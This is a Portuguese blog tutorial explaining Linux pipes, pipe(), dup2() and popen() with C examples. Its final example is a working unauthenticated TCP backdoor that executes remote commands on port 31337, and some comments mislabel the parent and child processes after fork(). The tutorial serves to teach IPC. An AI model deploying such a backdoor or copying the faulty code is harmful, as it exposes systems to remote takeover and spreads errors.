Introdução
Pipes ou encanamentos são alguns dos modos de comunicação entre processos oferecidos pelo Linux. Esse modo de IPC (Inter Process Comunication) é usado quando processos com algum grau de parentesco precisam trocar dados entre si. Os pipes têm muitas utilidades práticas e são muito usados nos shells atuais.
Nest post iremos aprender o que são pipes, como eles são criados e usados.
Os pipes
O Linux (o kernel) nos fornece, através de suas chamadas de sistema, uma estrutura chamada de pipe. Um pipe serve para se conectar a saída de um processo com a entrada de outro. Esse tipo de pipe é chamado de half-duplex (de uma via), pois as operações de leitura e escrita são mutuamente exclusivas, isto é, ou só se pode ler de um pipe ou escrever. Pipes que suportam leitura e escrita ao mesmo tempo são chamados de stream pipes, e eles não serão vistos nesse post.
Se você utiliza bastante a linha de comando, provavelmente já está acostumado com isso:
$ ls | sort | lp
O comando acima exemplifica o que é um pipe: a saída do ls irá para o sort, que ordenará o arquivo. Em seguida, a saída do sort irá para o lp que, por fim, enviará os dados de entrada para a impressora.
Quando um processo cria um pipe, o kernel cria dois arquivos descritores, um responsável pela entrada do pipe (escrita) e outro pela saída (leitura). O diagrama abaixo exemplifica isso:
+--------------+ +--------------+ + Processo + + Kernel + + + + + + fd1 + ------> + in \ + + + + > pipe + + fd0 + <------ + out / + +--------------+ +--------------+
Quando o processo escreve em fd1 (a entrada do pipe), os dados vão para o kernel e serão acessíveis somente com uma leitura em fd0 (saída do pipe). Veja que o pipe existe dentro do kernel e só pode ser acessado pelo processo que o criou, e também pelos filhos desse processo. Em particular, no Linux, o pipe é interpretado como um inode válido presente dentro do próprio kernel.
O diagrama anterior mostra um processo se comunicando com ele mesmo através de um pipe. Isso não faz muito sentido, pois é bem mais interessante um processo se comunicar com outros. O uso mais usual dos pipes é um processo se comunicar com seus filhos. Nesse caso, o diagrama ficaria assim:
+-----------+ +-----------+ +-----------+ + Processo + + Kernel + <------ + fd1 + + pai + + + + + + + + + + Processo + + fd0 + <------ + + + filho + +-----------+ +-----------+ +-----------+
Após criar o pipe, o processo pai invoca a chamada de sistema fork() para criar um processo filho. Como processos filhos herdam arquivos descritores, eles também poderão acessar o pipe. O diagrama acima demonstra a situação em que o processo pai espera dados do filho. Quando o processo filho escreve em fd1, esses dados irão para o kernel, e só serão recuperados quando o processo pai fizer uma leitura em fd0.
Criação de Pipes
Pipes são criados pela chamada de sistema pipe(42). Como um pipe nada mais é que arquivos descritores, as operações de IO de baixo nível (read(), write() e close()) estão acessíveis para eles também.
$ man pipe #include <unistd.h> int pipe(int pipefd[2]);
A função pipe() recebe um vetor de duas posições que armazenará os dois arquivos descritores. O elemento fd[0] é de onde os dados serão lidos, e o fd[1] onde eles serão escritos. O retorno da função é -1 caso houver erro ou 0 (zero) caso sucesso.
Meu primeiro pipe
Um exemplo de criação de pipe. Esse programa cria um processo filho e se comunica com ele através pipes.
/* * [pipe1.c] * Programa que usa pipes para se comunicar * com um processo filho. * * [Autor] * Marcos Paulo Ferreira (daemonio) * undefinido gmail com * https://daemoniolabs.wordpress.com * * [Uso] * $ gcc -o pipe1 pipe1.c * $ ./pipe1 * * Versão 1.0, by daemonio @ Sat Aug 11 16:55:56 BRT 2012 */ #include <stdio.h> #include <string.h> #include <unistd.h> /* for pipe() */ #define BUFFER 256 int main(void) { char msg[BUFFER] ; int fd[2] ; int pid ; /* Cria um pipe. */ if(pipe(fd)<0) { perror("pipe") ; return -1 ; } /* Cria processo filho. */ pid = fork() ; if(pid == -1) { perror("fork") ; return -1 ; } /* Processo filho. */ if(pid) { char *hello = "Hello World!" ; /* Operação obrigatória: fechar o descritor * desnecessário. */ close(fd[0]) ; /* Escreve a mensagem no pipe. */ write(fd[1], hello, strlen(hello)+1) ; close(fd[1]) ; } else { /* Processo pai. */ /* Operação obrigatória: fechar o descritor * desnecessário. */ close(fd[1]) ; /* Lê a mensagem do pipe. */ read(fd[0], msg, sizeof msg) ; printf("Mensagem recebida: %s\n", msg) ; close(fd[0]) ; } return 0 ; } /* EOF */
Compile e rode o programa:
$ gcc -o pipe1 pipe1.c $ ./pipe1 Mensagem recebida: Hello World!
Tem algo muito importante que deve ser observado. Como estamos lidando com half-duplex pipes, um processo só pode fazer uma operação no pipe. Se esse processo realizar uma operação de escrita, então ele deve, obrigatoriamente, fechar o arquivo descritor de leitura. O mesmo para processos que realizam leitura, eles devem fechar o descritor de escrita.
Isso se deve porque, tecnicamente falando, um EOF nunca será retornado se o descritor desnecessário do pipe não for fechado explicitamente [1].
Duplicação de descritores
Uma operação comum quando se lida com pipes é a duplicação de descritores. Apesar que qualquer descritor possa ser duplicado, o mais comum é se duplicar os descritores padrões: stdin, stdout e stderr. Nesse casso, após criarmos o pipe, fechamos alguns desses descritores para, em seguida, invocarmos dup() para associá-los com o pipe.
$ man dup #include <unistd.h> int dup(int oldfd); int dup2(int oldfd, int newfd);
Entre dup() e dup2() é melhor usarmos a dup2(), que fecha e duplica os descritores de forma atômica. O que essa função faz, primeiramente, é fechar newfd (se possível). Em seguida, ela faz a duplicação, isto é, abre um novo descritor e o associa com oldfd. A função sempre escolhe o menor descritor possível, que se espera que seja igual a newfd, para depois realizar a duplicação.
Simulando um pipe do shell
O programa a seguir simula a instrução do shell:
$ ls | sort
Ele executa o ls, redirecionando sua saída para fd[1]. Depois ele executa o sort, associando a entrada desse comando ao fd[0]. Desse modo, o sort irá ler o que o ls retornou, simulando perfeitamente o pipe do shell.
/* * [pipe2.c] * Programa que executa a instrução "ls | sort" * usando pipes. * * [Autor] * Marcos Paulo Ferreira (daemonio) * undefinido gmail com * https://daemoniolabs.wordpress.com * * [Uso] * $ gcc -o pipe2 pipe2.c * $ ./pipe2 * * OBS: se o prompt não aparecer, não quer dizer * que o programa travou. Isso acontece por * causa da falta de sincronização das saídas. * * Versão 1.0, by daemonio @ Sat Aug 11 18:11:12 BRT 2012 * */ #include <stdio.h> #include <unistd.h> int main(void) { int fd[2] ; int pid_ls, pid_sort ; /* Cria o pipe. */ if(pipe(fd)<0) { perror("pipe") ; return -1; } /* Chama o ls. */ pid_ls = fork() ; if(pid_ls < 0) { perror("fork") ; return -1; } if(pid_ls != 0) { /* Fecha fd de leitura, pois * o ls só escreve. */ close(fd[0]); /* Faz stdout apontar para o * fd de escrita do pipe. Desse modo, * o processo ls escreverá no pipe e * não na tela. */ dup2(fd[1], 1) ; execlp("/bin/ls", "/bin/ls", NULL) ; } /* Processo pai aqui. */ /* Chama o sort. */ pid_sort = fork() ; if(pid_sort < 0) { perror("fork") ; return -1 ; } if(pid_sort != 0) { /* Fecha o fd de escrita, pois * o sort só realiza leitura. */ close(fd[1]) ; /* Faz stdin apontar para o fd de * leitura do pipe. Desse modo, * o processo sort lerá do pipe e * não da entrada padrão (teclado). */ dup2(fd[0], 0) ; execlp("/bin/sort", "/bin/sort", NULL) ; } close(fd[0]); close(fd[1]) ; return 0 ; } /* EOF */
Compile e execute:
$ gcc -o pipe2 pipe2.c $ ./pipe2 arquivo1 arquivo2 arquivo3 arquivo4 pipe2 pipe2.c OBS: É possível que o prompt não reapareça, mas isso não indica que o programa travou. :)
Um modo mais fácil: popen()
É muito complicado criar um pipe e executar um processo por exec* somente para obter sua saída. Vendo que isso é muito comum, criou-se a função popen(), que realiza automaticamente a tarefa de criar um novo processo (fork), executar um programa em cima desse novo processo (exec*) e esperar o comando terminar (wait).
$ man popen #include <stdio.h> FILE *popen(const char *command, const char *type);
No primeiro parâmetro, passamos o comando que queremos executar. Esse comando será executado pelo bash (ou para onde /bin/sh aponta) e por causa disso, podemos utilizar todas funções desse interpretador, como variáveis, meta caracteres, redirecionamentos, etc. O parâmetro *type recebe o tipo do pipe que só pode ser “r” para leitura ou “w” escrita, e nunca os dois juntos.
Repare que essa função é semelhante a função fopen(). Ambas retornam uma stream FILE* e as operações sobre esse tipo são feitas por funções como fwrite(), fread(), fgets(), etc.
Um servidor TCP (backdoor)
O exemplo a seguir é mais complexo que os anteriores. Esse servidor simula uma backdoor, pois recebe comandos de clientes e retorna a saída do comando para eles. Os comandos são executados com popen().
/* * [pipe3.c] * Backdoor simples que espera por conexões * e executa comandos com popen(). * * [Autor] * Marcos Paulo Ferreira (daemonio) * undefinido gmail com * https://daemoniolabs.wordpress.com * * [Uso] * $ gcc -o pipe3 pipe3.c * $ ./pipe3 * * Os clientes devem fazer: * $ nc <endereço> 31337 * * Versão 1.0, by daemonio @ Sat Aug 11 22:35:41 BRT 2012 * */ #include <stdio.h> #include <string.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/times.h> #include <signal.h> #include <unistd.h> #define PORTA 31337 /* porta clássica. */ #define BUF_MAX 4096 int main(void) { int sockfd, t, newsockfd ; struct sockaddr_in serv ; char buf[BUF_MAX] ; FILE *filecmd ; /* Cria socket. */ if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket") ; return -1; } serv.sin_family = AF_INET ; serv.sin_port = htons(PORTA) ; serv.sin_addr.s_addr = INADDR_ANY ; /* Associa processo à porta. */ t = sizeof(struct sockaddr_in) ; if(bind(sockfd, (struct sockaddr *)&serv, t) < 0) { perror("bind") ; return -1; } if(listen(sockfd, 5) < 0) { perror("listen") ; return -1; } /* Evita processos zumbis. */ signal(SIGCHLD, SIG_IGN) ; while(1) { /* Aceita nova conexão. */ newsockfd = accept(sockfd, NULL, NULL) ; if(newsockfd < 0) { perror("accept") ; return -1 ; } /* Cria um processo para a nova conexão. */ t = fork() ; if(t < 0) { perror("fork") ; return -1; } if(t != 0) { /* Recebe os comandos. */ while((t=recv(newsockfd, buf, sizeof buf, 0)) > 0) { buf[t] = 0; /* Executa o comando com popen(). */ filecmd = popen(buf, "r") ; if(filecmd == NULL) { perror("popen") ; return -1; } /* Obtém a saída do comando. */ while(fgets(buf, sizeof buf, filecmd)) { /* Envia para o usuário. */ send(newsockfd, buf, strlen(buf), 0) ; } /* Fecha o pipe. */ pclose(filecmd) ; } /* Finaliza processo filho. */ return 0 ; } } close(sockfd) ; return 0; } /* EOF */
Compile e execute-o:
$ gcc -o pipe3 pipe3.c $ ./pipe3 # Em outro terminal $ nc localhost 31337 id uid=1000(daemonio) gid=1000(daemonio) groups=1000(daemonio) ^C $
Referências
O post todo foi baseado na referência [1]. Aconselho sua leitura para mais detalhes.
[1] 6.2 Half-duplex UNIX Pipes by Scott Burkett (Acessado em: Agosto/2012)
http://tldp.org/LDP/lpg/node9.html#SECTION00720000000000000000
[2] Inter process communication using pipes in linux by Tux Think (Acessado em: Agosto/2012)
http://tuxthink.blogspot.com.br/2012/02/inter-process-communication-using-pipes.html